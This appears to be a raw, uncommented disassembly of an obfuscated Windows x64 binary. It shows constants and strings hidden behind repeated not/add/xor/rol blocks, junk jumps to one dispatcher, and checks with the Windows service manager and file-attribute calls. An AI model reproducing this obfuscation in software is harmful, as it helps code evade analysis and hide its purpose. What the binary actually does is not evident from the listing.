lea rcx, [rbx + r13*2]
lea r8, [rdi + rdi]
lea rdx, [rbp + 0xa0]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rdi + r13]
mov word [rbx + rax*2], r12w
lea rax, [rbp + 0xd0]
jmp 0x1400d21fe
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0xa0]
mov rdx, rdi
lea rcx, [rbp + 0xd0]
call fcn.1400b6239
push rax
pushf
mov eax, 0xdb5572a
pushf
not eax
add eax, 0xd79d4432
xor eax, 0x9d884bdc
rol eax, 0x49
popf
pushf
not eax
add eax, 0xa84fbb9c
xor eax, 0xcd5af300
rol eax, 0x55
popf
pushf
not eax
add eax, 0x90ff6b68
xor eax, 0x991ee049
rol eax, 0xc9
popf
jmp 0x1400d09a0
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x58], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x58], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 7
mov word [rax], r12w
mov rdx, qword [rbp + 0xe8]
cmp rdx, 7
jbe 0x1400d2283
push rax
pushf
mov eax, 0xaf03046d
pushf
not eax
add eax, 0xcbb2b0b3
xor eax, 0xc8abf6af
rol eax, 0xeb
popf
pushf
not eax
add eax, 0x8e6a376e
xor eax, 0x8cb95bfd
rol eax, 0xef
popf
pushf
not eax
add eax, 0xb2e542c0
xor eax, 0xd54cc32a
rol eax, 0xb9
popf
jmp 0x1400d09a0
push rax
pushf
mov eax, 0xfc9335cd
pushf
not eax
add eax, 0xd676cf77
xor eax, 0x8a8601d4
rol eax, 0x93
popf
pushf
not eax
add eax, 0xdfab5390
xor eax, 0xb6e84d31
rol eax, 0x2d
popf
pushf
not eax
add eax, 0xb4728233
xor eax, 0x95c82c8a
rol eax, 0x22
popf
jmp 0x1400d09a0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400d233d
push rax
pushf
mov eax, 0x5f5f6c0b
pushf
not eax
add eax, 0xb8cd90c5
xor eax, 0x9ed39b40
rol eax, 0xc4
popf
pushf
not eax
add eax, 0xaee6b0e5
xor eax, 0xaa2df4f0
rol eax, 0x5f
popf
pushf
not eax
add eax, 0xf49521f9
xor eax, 0xfa4f8f68
rol eax, 0xff
popf
pushf
not eax
add eax, 0xad7ff4af
xor eax, 0x845870f4
rol eax, 0xd9
popf
jmp 0x1400d09a0
push rax
pushf
mov eax, 0xaf04564e
pushf
not eax
add eax, 0x9229f6a5
xor eax, 0x85f04153
rol eax, 0x2b
popf
pushf
not eax
add eax, 0xc97be402
xor eax, 0xfd77646e
rol eax, 0xbf
popf
pushf
not eax
add eax, 0xc2f46305
xor eax, 0xcf71f272
rol eax, 0x9a
popf
jmp 0x1400d09a0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400d23f1
push rax
pushf
mov eax, 0xb6b09799
pushf
not eax
add eax, 0xc6db205d
xor eax, 0xa435f97a
rol eax, 0x34
popf
pushf
not eax
add eax, 0xa71a4929
xor eax, 0x871e1eee
rol eax, 0xa3
popf
pushf
not eax
add eax, 0xe4545697
xor eax, 0xae3ec324
rol eax, 0x7f
popf
pushf
not eax
add eax, 0xffb2546f
xor eax, 0xe7f7b3b1
rol eax, 0xbc
popf
jmp 0x1400d09a0
push rax
pushf
mov eax, 0xbf2add0f
pushf
not eax
add eax, 0xf58236a5
xor eax, 0xd230de73
rol eax, 6
popf
pushf
not eax
add eax, 0xa7170445
xor eax, 0xa3ffcbd8
rol eax, 0x58
popf
pushf
not eax
add eax, 0x872e9e06
xor eax, 0xf0eb9e90
rol eax, 0xf7
popf
pushf
not eax
add eax, 0xab43783f
xor eax, 0xc0e1e8d8
rol eax, 0x9a
popf
jmp 0x1400d09a0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c3c47
push rax
pushf
mov eax, 0x9f412df2
pushf
not eax
add eax, 0x8ee8d40b
xor eax, 0xc6245572
rol eax, 0x3f
popf
pushf
not eax
add eax, 0xa0df424d
xor eax, 0x8a0c740e
rol eax, 0xc1
popf
pushf
not eax
add eax, 0xb79e8f96
xor eax, 0xab7c2e63
rol eax, 0x57
popf
jmp 0x1400d09a0
movdqa xmm0, xmmword [0x140078e90]
movdqu xmmword [rbp + 0xe0], xmm0
mov word [rbp + 0xd0], r12w
movabs rdi, 0xa28906672e71a943
pushf
not rdi
add rdi, 0x6c97fed2
xor rdi, 0x52570961
rol rdi, 0x1e
popf
pushf
not rdi
add rdi, 0x730288ff
xor rdi, 0x5997f20b
rol rdi, 2
popf
pushf
not rdi
add rdi, 0x71ca4a53
xor rdi, 0x6fcd8c44
rol rdi, 0xce
popf
pushf
not rdi
add rdi, 0x4ae218d7
xor rdi, 0x6475e636
rol rdi, 0x45
popf
mov qword [rsp + 0x30], rdi
movabs rbx, 0xf9e94d952ac1ad07
pushf
not rbx
add rbx, 0x6cd2ce2d
xor rbx, 0x5c36cbb5
rol rbx, 0xf0
popf
pushf
not rbx
add rbx, 0x713bcf08
xor rbx, 0x602ac704
rol rbx, 0xa2
popf
mov qword [rsp + 0x38], rbx
mov qword [rbp + 0x80], r14
mov qword [rbp + 0x88], rsi
movdqa xmm0, xmmword [rbp + 0x80]
xorps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x30]
call fcn.1400c0700
mov qword [rbp + 0xb8], r15
mov qword [rbp + 0x80], r14
mov qword [rbp + 0x88], rsi
mov qword [rbp + 0x98], r15
lea rdx, [rbp + 0xa0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movdqa xmm0, xmmword [rbp + 0x80]
test al, al
movabs rax, 0x3a1dea5aa4c14b62
pushf
not rax
add rax, 0x6fca2009
xor rax, 0x78dc42c4
rol rax, 0x52
popf
pushf
not rax
add rax, 0x56b049f7
xor rax, 0x7800bc41
rol rax, 0x72
popf
mov qword [rbp + 0xa0], rax
je 0x1400d266f
push rax
pushf
mov eax, 0x51a59528
pushf
not eax
add eax, 0xd0cfa102
xor eax, 0x842c7430
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xb1db96a9
xor eax, 0x97dcaebc
rol eax, 0x32
popf
jmp 0x1400d09a0
push rax
pushf
mov eax, 0xc3161ac7
pushf
not eax
add eax, 0xaccb0540
xor eax, 0xc653f551
rol eax, 0xbd
popf
pushf
not eax
add eax, 0xdfba2857
xor eax, 0xb9814471
rol eax, 0x8f
popf
jmp 0x1400d09a0
movabs rax, 0x735e250471f7844
pushf
not rax
add rax, 0x4a098224
xor rax, 0x43e63e86
rol rax, 0xbf
popf
pushf
not rax
add rax, 0x561e5d29
xor rax, 0x40b51559
rol rax, 0xc1
popf
pushf
not rax
add rax, 0x5f2da62c
xor rax, 0x7d1cb90d
rol rax, 0x8e
popf
pushf
not rax
add rax, 0x63d9caa7
xor rax, 0x7ba118d1
rol rax, 5
popf
mov qword [rbp + 0xa8], rax
movabs rax, 0xfa06dcaaea1470e1
pushf
not rax
add rax, 0x606e57e8
xor rax, 0x473f8473
rol rax, 0x49
popf
pushf
not rax
add rax, 0x5595e135
xor rax, 0x5fc35926
rol rax, 0x64
popf
pushf
not rax
add rax, 0x5cc2bb29
xor rax, 0x49242317
rol rax, 0x5d
popf
mov qword [rbp + 0xb0], rax
movabs rax, 0x5b597d845ef54be7
pushf
not rax
add rax, 0x49788f9e
xor rax, 0x6b7308ff
rol rax, 0x4b
popf
pushf
not rax
add rax, 0x6ad27739
xor rax, 0x63b0cf39
rol rax, 0x27
popf
pushf
not rax
add rax, 0x5ce6c417
xor rax, 0x7d99be3c
rol rax, 0x32
popf
pushf
not rax
add rax, 0x602ef14c
xor rax, 0x71497d17
rol rax, 0x70
popf
mov qword [rbp + 0x90], rax
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0xa0], xmm0
movdqa xmm1, xmmword [rbp + 0xb0]
xorps xmm1, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0xb0], xmm1
call fcn.1400b8eaf
lea rdx, [0x187fd6d73]
pushf
sub rdx, 0x47fced53
popf
mov rcx, rax
jmp 0x1400d2813
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400d59e5
movabs rax, 0x308fbce602232cca
pushf
not rax
add rax, 0x57061c3a
xor rax, 0x4a2425f2
rol rax, 0x9c
popf
pushf
not rax
add rax, 0x733b4d92
xor rax, 0x42ea6e75
rol rax, 0x3e
popf
pushf
not rax
add rax, 0x528a6ee7
xor rax, 0x68028387
rol rax, 0x40
popf
pushf
not rax
add rax, 0x7b8dec4e
xor rax, 0x41ac7ced
rol rax, 0xc9
popf
mov qword [rbp + 0xa8], rax
movabs rax, 0x921d5050679e401a
pushf
not rax
add rax, 0x4a16067c
xor rax, 0x76b364a3
rol rax, 0xc6
popf
pushf
not rax
add rax, 0x587848d9
xor rax, 0x64427ab3
rol rax, 0x48
popf
pushf
not rax
add rax, 0x66271fbc
xor rax, 0x64d373a6
rol rax, 0xe
popf
mov qword [rbp + 0xb0], rax
movabs r13, 0x7e8891ffa3866863
pushf
not r13
add r13, 0x57bf7320
xor r13, 0x6be58905
rol r13, 0xd
popf
pushf
not r13
add r13, 0x75c47394
xor r13, 0x4463044e
rol r13, 0xce
popf
mov qword [rbp + 0x90], r13
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0xa0], xmm0
movdqa xmm1, xmmword [rbp + 0xb0]
xorps xmm1, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0xb0], xmm1
call fcn.1400b8eaf
lea rdx, [0x1b1841454]
pushf
sub rdx, 0x71839434
popf
mov rcx, rax
jmp 0x1400d29be
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], rbx
mov qword [rbp + 0x80], r14
mov qword [rbp + 0x88], rsi
movdqa xmm0, xmmword [rbp + 0x80]
xorps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x1400d29f8
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rbx, rax
movabs rax, 0x988b841baa494c26
pushf
not rax
add rax, 0x79e1ea5a
xor rax, 0x57bb884c
rol rax, 0x90
popf
pushf
not rax
add rax, 0x65f8ac17
xor rax, 0x5a3f81ca
rol rax, 0xcd
popf
movabs rcx, 0xc607c104809fe56a
pushf
not rcx
add rcx, 0x6a58de68
xor rcx, 0x711d6ce6
rol rcx, 0xb1
popf
pushf
not rcx
add rcx, 0x435a6f29
xor rcx, 0x55ccee54
rol rcx, 0x5e
popf
pushf
not rcx
add rcx, 0x700063c7
xor rcx, 0x66d06ea0
rol rcx, 0x24
popf
pushf
not rcx
add rcx, 0x64dd49e3
xor rcx, 0x7b0f5871
rol rcx, 0x6c
popf
movabs rdi, 0x75f2bdf6b7eb8dfa
pushf
not rdi
add rdi, 0x56458c74
xor rdi, 0x7eda1540
rol rdi, 0xd6
popf
pushf
not rdi
add rdi, 0x486436a7
xor rdi, 0x433e2352
rol rdi, 0xe2
popf
pushf
not rdi
add rdi, 0x6b1152d7
xor rdi, 0x6118c284
rol rdi, 0x1c
popf
pushf
not rdi
add rdi, 0x4b41cbf2
xor rdi, 0x6ca26898
rol rdi, 0x4a
popf
test rbx, rbx
jne 0x1400d2b51
push rax
pushf
mov eax, 0x956a046b
pushf
not eax
add eax, 0x989381b1
xor eax, 0xdab6e95a
rol eax, 0xb1
popf
pushf
not eax
add eax, 0xb36c78e3
xor eax, 0x8b2cc643
rol eax, 0x1b
popf
jmp 0x1400d09a0
push rax
pushf
mov eax, 0x3a67ad9
pushf
not eax
add eax, 0xbc161cd0
xor eax, 0xbba90079
rol eax, 0x6d
popf
pushf
not eax
add eax, 0xecf9854e
xor eax, 0xc777269d
rol eax, 0xb2
popf
pushf
not eax
add eax, 0xea7c5756
xor eax, 0xe178d893
rol eax, 0x90
popf
jmp 0x1400d09a0
mov qword [rbp + 0x100], rax
movabs rax, 0x431d736516c60cc6
pushf
not rax
add rax, 0x580a5e35
xor rax, 0x6380cdd3
rol rax, 0xce
popf
pushf
not rax
add rax, 0x4926c835
xor rax, 0x6cabf9a7
rol rax, 0x32
popf
pushf
not rax
add rax, 0x4eba516c
xor rax, 0x692f4025
rol rax, 0x4c
popf
mov qword [rbp + 0x108], rax
movabs rax, 0x28a01baa9dfb11fa
pushf
not rax
add rax, 0x7ec9c4b1
xor rax, 0x76768893
rol rax, 0x1c
popf
pushf
not rax
add rax, 0x62eba1d5
xor rax, 0x5e00fe9f
rol rax, 0xb1
popf
mov qword [rbp + 0x110], rax
movabs rax, 0x219e74a981421938
pushf
not rax
add rax, 0x4fe25090
xor rax, 0x78eb676d
rol rax, 0xcc
popf
pushf
not rax
add rax, 0x6735dd42
xor rax, 0x65a7196d
rol rax, 0x95
popf
pushf
not rax
add rax, 0x5c31b2d3
xor rax, 0x55bbf8cc
rol rax, 0x22
popf
mov qword [rbp + 0x118], rax
movabs rax, 0x74e060ad7e5f67bc
pushf
not rax
add rax, 0x5591ff7b
xor rax, 0x4b127c0e
rol rax, 0xe3
popf
pushf
not rax
add rax, 0x6ac5c4bd
xor rax, 0x7a4a178e
rol rax, 0x7f
popf
pushf
not rax
add rax, 0x499c2bd0
xor rax, 0x7dc278c5
rol rax, 0xc0
popf
pushf
not rax
add rax, 0x6415b6a8
xor rax, 0x4a9c1869
rol rax, 0x3a
popf
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], rdi
mov qword [rbp + 0xa0], r14
mov qword [rbp + 0xa8], rsi
mov qword [rbp + 0xb0], r13
mov qword [rbp + 0xb8], r15
mov qword [rbp + 0xc0], rcx
mov qword [rbp + 0xc8], rdi
movdqa xmm0, xmmword [rbp + 0xa0]
xorps xmm0, xmmword [rbp + 0x100]
movdqa xmmword [rbp + 0x100], xmm0
movdqa xmm1, xmmword [rbp + 0x110]
xorps xmm1, xmmword [rbp + 0xb0]
movdqa xmmword [rbp + 0x110], xmm1
movdqa xmm0, xmmword [rbp + 0x120]
xorps xmm0, xmmword [rbp + 0xc0]
movdqa xmmword [rbp + 0x120], xmm0
lea rdx, [rbp + 0x100]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400b8eaf
mov rbx, rax
jmp 0x1400d2d83
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
jmp 0x1400d2d8f
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x1820efcc3]
pushf
sub rdx, 0x420e7ca3
popf
mov rcx, rax
jmp 0x1400d2dab
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400d3150
mov r8d, 0x4dd37e61
pushf
not r8d
add r8d, 0xf0d3d89c
xor r8d, 0xfcb240b9
rol r8d, 0xf4
popf
pushf
not r8d
add r8d, 0xfd6a94d6
xor r8d, 0xbf72f3bd
rol r8d, 0x8d
popf
pushf
not r8d
add r8d, 0xc84341e7
xor r8d, 0xfb12049e
rol r8d, 0x2c
popf
lea rdx, [rsp + 0x30]
mov rcx, rbx
jmp 0x1400d2e69
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
test rax, rax
jne 0x1400d2eab
push rax
pushf
mov eax, 0xdb328fa4
pushf
not eax
add eax, 0xb80c7820
xor eax, 0xf953c42c
rol eax, 0xe9
popf
pushf
not eax
add eax, 0xa9d9b1f8
xor eax, 0x948903ac
rol eax, 0x6d
popf
jmp 0x1400d09a0
push rax
pushf
mov eax, 0x42ae29d0
pushf
not eax
add eax, 0xfe8c6805
xor eax, 0x8fba9c99
rol eax, 9
popf
pushf
not eax
add eax, 0x992e8649
xor eax, 0xcf392be0
rol eax, 0x2e
popf
jmp 0x1400d09a0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
cmp eax, 0x424
je 0x1400d2f4b
push rax
pushf
mov eax, 0x1bfce0e7
pushf
not eax
add eax, 0xe49b6aea
xor eax, 0xa5ef5173
rol eax, 0x79
popf
pushf
not eax
add eax, 0xa69d2b9d
xor eax, 0xd4f8c5ea
rol eax, 0x29
popf
pushf
not eax
add eax, 0xf65cb5a1
xor eax, 0xe99d5ebb
rol eax, 0xb2
popf
pushf
not eax
add eax, 0xfdc12041
xor eax, 0xee9b6c29
rol eax, 0x79
popf
jmp 0x1400d09a0
push rax
pushf
mov eax, 0x87d443c2
pushf
not eax
add eax, 0xf15b190e
xor eax, 0xfdb8ee80
rol eax, 0xa7
popf
pushf
not eax
add eax, 0xe01f300c
xor eax, 0xdfb38d34
rol eax, 0x5d
popf
pushf
not eax
add eax, 0x91c14f6e
xor eax, 0xcaaf73c7
rol eax, 0xf
popf
pushf
not eax
add eax, 0x98b66eff
xor eax, 0xcdda5b5d
rol eax, 0x85
popf
jmp 0x1400d09a0
movabs rax, 0x9c1388426bd0e52d
pushf
not rax
add rax, 0x793640fe
xor rax, 0x44e7f0a8
rol rax, 0x90
popf
pushf
not rax
add rax, 0x4fde29ba
xor rax, 0x7531a99b
rol rax, 0xd1
popf
mov qword [rbp + 0xa0], rax
movabs rax, 0x56ae057c5b74a3f0
pushf
not rax
add rax, 0x625ca065
xor rax, 0x764a13f9
rol rax, 0xd7
popf
pushf
not rax
add rax, 0x763212e7
xor rax, 0x66ececcc
rol rax, 0x98
popf
mov qword [rbp + 0xa8], rax
movabs rax, 0xf8bcb6ea45012653
pushf
not rax
add rax, 0x6c2d7378
xor rax, 0x7a02e40f
rol rax, 0x3e
popf
pushf
not rax
add rax, 0x6bca1c2d
xor rax, 0x6230a2a8
rol rax, 0x62
popf
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], r15
mov qword [rbp + 0x80], r14
mov qword [rbp + 0x88], rsi
mov qword [rbp + 0x90], r13
mov qword [rbp + 0x98], r15
movdqa xmm0, xmmword [rbp + 0x80]
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0xa0], xmm0
movdqa xmm1, xmmword [rbp + 0xb0]
xorps xmm1, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0xb0], xmm1
lea rdx, [rbp + 0xa0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400b8eaf
mov edx, edi
mov rcx, rax
jmp 0x1400d30cb
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x1a886595f]
pushf
sub rdx, 0x6885d93f
popf
mov rcx, rax
jmp 0x1400d30e7
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
push rax
pushf
mov eax, 0x6ad8a98e
pushf
not eax
add eax, 0xd1dde146
xor eax, 0xaedc28ed
rol eax, 0xd8
popf
pushf
not eax
add eax, 0x8a82ad1f
xor eax, 0x88cc7e99
rol eax, 0xd1
popf
pushf
not eax
add eax, 0xd7da1aab
xor eax, 0xd7121414
rol eax, 6
popf
pushf
not eax
add eax, 0xd12e49af
xor eax, 0xc9765455
rol eax, 0xa1
popf
jmp 0x1400d09a0
mov rcx, rbx
jmp 0x1400d314a
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
movabs rax, 0x1d01236ed3f24718
pushf
not rax
add rax, 0x589c488f
xor rax, 0x5db87d77
rol rax, 0x42
popf
pushf
not rax
add rax, 0x441bfda9
xor rax, 0x4d151a75
rol rax, 0x5f
popf
pushf
not rax
add rax, 0x6c83ac05
xor rax, 0x73400c03
rol rax, 0x80
popf
pushf
not rax
add rax, 0x493f7bc7
xor rax, 0x5d3239fa
rol rax, 0x8c
popf
mov qword [rbp + 0xa0], rax
movabs rax, 0xe599e7856eb6d181
pushf
not rax
add rax, 0x6a678e93
xor rax, 0x44b8df3b
rol rax, 0xa9
popf
pushf
not rax
add rax, 0x691259ee
xor rax, 0x74e16b8f
rol rax, 0x6d
popf
pushf
not rax
add rax, 0x53b36bbf
xor rax, 0x5f94836e
rol rax, 0x96
popf
pushf
not rax
add rax, 0x7e5a0796
xor rax, 0x72dccbc1
rol rax, 0xe5
popf
mov qword [rbp + 0xa8], rax
movabs rax, 0xdfeacdcd4aa1cfb9
pushf
not rax
add rax, 0x41dac988
xor rax, 0x638ac274
rol rax, 0xa9
popf
pushf
not rax
add rax, 0x62837b26
xor rax, 0x78c5d50b
rol rax, 0x90
popf
pushf
not rax
add rax, 0x726adef6
xor rax, 0x58f69fd8
rol rax, 0x13
popf
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], r15
mov qword [rbp + 0x80], r14
mov qword [rbp + 0x88], rsi
mov qword [rbp + 0x90], r13
mov qword [rbp + 0x98], r15
movdqa xmm0, xmmword [rbp + 0xa0]
xorps xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0xa0], xmm0
movdqa xmm1, xmmword [rbp + 0xb0]
xorps xmm1, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0xb0], xmm1
lea rdx, [rbp + 0xa0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400b8eaf
lea rdx, [0x1a5271a70]
pushf
sub rdx, 0x65269a50
popf
mov rcx, rax
jmp 0x1400d32fa
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x48]
cmp qword [rsp + 0x60], 7
cmova rcx, qword [rsp + 0x48]
jmp 0x1400d3312
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1400d3350
push rax
pushf
mov eax, 0xbbcdcfe9
pushf
not eax
add eax, 0x81815434
xor eax, 0xab2c7557
rol eax, 0xb5
popf
pushf
not eax
add eax, 0xa8ba1d56
xor eax, 0x874c4957
rol eax, 0xec
popf
jmp 0x1400d09a0
push rax
pushf
mov eax, 0x6f94d2d8
pushf
not eax
add eax, 0xc58f8508
xor eax, 0xce4a4213
rol eax, 0xa3
popf
pushf
not eax
add eax, 0x836c0ac2
xor eax, 0xa5e488fb
rol eax, 0x40
popf
jmp 0x1400d09a0
test al, 0x10
jne 0x1400d33ba
push rax
pushf
mov eax, 0x289434f1
pushf
not eax
add eax, 0x8985cc15
xor eax, 0xe5888ff1
rol eax, 0xd7
popf
pushf
not eax
add eax, 0xf9927cc7
xor eax, 0x904fc26a
rol eax, 0xdc
popf
jmp 0x1400d09a0
push rax
pushf
mov eax, 0xf24ca77b
pushf
not eax
add eax, 0xbfd3cfe3
xor eax, 0xf5829991
rol eax, 0x81
popf
pushf
not eax
add eax, 0xe5018184
xor eax, 0xf3122530
rol eax, 0x11
popf
pushf
not eax
add eax, 0xcec322f5
xor eax, 0x8f50fa75
rol eax, 0x53
popf
pushf
not eax
add eax, 0xfd30b340
xor eax, 0xb2712218
rol eax, 0xd1
popf
jmp 0x1400d09a0
mov al, 0x43
pushf
not al
add al, 0x48
xor al, 0x49
rol al, 0x3c
popf
pushf
not al
add al, 0x47
xor al, 0x70
rol al, 0x9f
popf
jmp 0x1400d34e8
xor al, al
push rax
pushf
mov eax, 0x8fdbda60
pushf
not eax
add eax, 0x8f6e02e4
xor eax, 0xb5311bc4
rol eax, 0x92
popf
pushf
not eax
add eax, 0xf310f5a5
xor eax, 0x8f49e4a1
rol eax, 0xbb
popf
pushf
not eax
add eax, 0x8240df6e
xor eax, 0xfcf681e1
rol eax, 0x89
popf
pushf
not eax
add eax, 0xdaf4c977
xor eax, 0x9fd566e6
rol eax, 0xf2
popf
jmp 0x1400d09a0
test al, al
je 0x1400d3523
push rax
pushf
mov eax, 0xb1393bcc
pushf
not eax
add eax, 0xbd225eba
xor eax, 0xc7ecb7a0
rol eax, 0x7a
popf
pushf
not eax
add eax, 0xf8acd085
xor eax, 0xc17e3a2f
rol eax, 0x94
popf
jmp 0x1400d09a0
push rax
pushf
mov eax, 0x7496ac48
pushf
not eax
add eax, 0xf02c43d1
xor eax, 0xda0a30f2
rol eax, 0x97
popf
pushf
not eax
add eax, 0xf0f56b5d
xor eax, 0xc8c52684
rol eax, 0x13
popf
pushf
not eax
add eax, 0xbd7d85d5
xor eax, 0xd50da857
rol eax, 0x3c
popf
jmp 0x1400d09a0
movabs rax, 0x3c5610b829f4f073
pushf
not rax
add rax, 0x74c7a736
xor rax, 0x5429026a
rol rax, 0xe5
popf
pushf
not rax
add rax, 0x5fca7f78
xor rax, 0x72921f4c
rol rax, 0x3d
popf
pushf
not rax
add rax, 0x5f6790d9
xor rax, 0x66d7b1b4
rol rax, 0x7e
popf
mov qword [rbp + 0xa0], rax
movabs rax, 0x858e42adc46148f2
pushf
not rax
add rax, 0x7b943337
xor rax, 0x466344f8
rol rax, 0xee
popf
pushf
not rax
add rax, 0x76f8fde7
xor rax, 0x5452ffe8
rol rax, 3
popf
pushf
not rax
add rax, 0x754632f3
xor rax, 0x499b92a2
rol rax, 0xd
popf
mov qword [rbp + 0xa8], rax
movabs rax, 0xbe2d8df0f50c011a
pushf
not rax
add rax, 0x7eff49f2
xor rax, 0x6fbe8080
rol rax, 0x25
popf
pushf
not rax
add rax, 0x6336dd29
xor rax, 0x5e57de15
rol rax, 0x25
popf
pushf
not rax
add rax, 0x56c9de05
xor rax, 0x5d9c7fc2
rol rax, 0x31
popf
mov qword [rbp + 0xb0], rax
movabs rax, 0x4c0a253944b02e28
pushf
not rax
add rax, 0x70648e2c
xor rax, 0x56d03ccd
rol rax, 0xca
popf
pushf
not rax
add rax, 0x4da8264a
xor rax, 0x5e834134
rol rax, 0xa8
popf
pushf
not rax
add rax, 0x7a22fc97
xor rax, 0x66f25daa
rol rax, 0xf
popf
pushf
not rax
add rax, 0x6aa49ca4
xor rax, 0x5ac1d719
rol rax, 0xd9
popf
mov qword [rbp + 0xb8], rax
mov qword [rbp + 0x80], r14
mov qword [rbp + 0x88], rsi
mov qword [rbp + 0x90], r13
mov qword [rbp + 0x98], r15
movdqa xmm0, xmmword [rbp + 0xa0]
xorps xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0xa0], xmm0
movdqa xmm1, xmmword [rbp + 0xb0]
xorps xmm1, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0xb0], xmm1
lea rdx, [rbp + 0xa0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400b8eaf
lea rdx, [0x1a1e030c2]
pushf
sub rdx, 0x61dfb0a2
popf
mov rcx, rax
jmp 0x1400d374b
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400d4304
xor edx, edx
mov r8d, 0x97d06eba
pushf
not r8d
add r8d, 0xdfc10842
xor r8d, 0xf3fea396
rol r8d, 0xd3
popf
pushf
not r8d
add r8d, 0xeced50a9
xor r8d, 0xf44ffe4f
rol r8d, 0xc8
popf
pushf
not r8d
add r8d, 0xe086debb
xor r8d, 0xd03861f2
rol r8d, 0x7e
popf
lea rcx, [rsp + 0x70]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 7
cmova rdx, qword [rsp + 0x48]
lea rcx, [rsp + 0x70]
call fcn.1400f6742
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rdi, [0x1906fa210]
pushf
sub rdi, 0x506824e8
popf
mov qword [rsp + rcx + 0x70], rdi
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
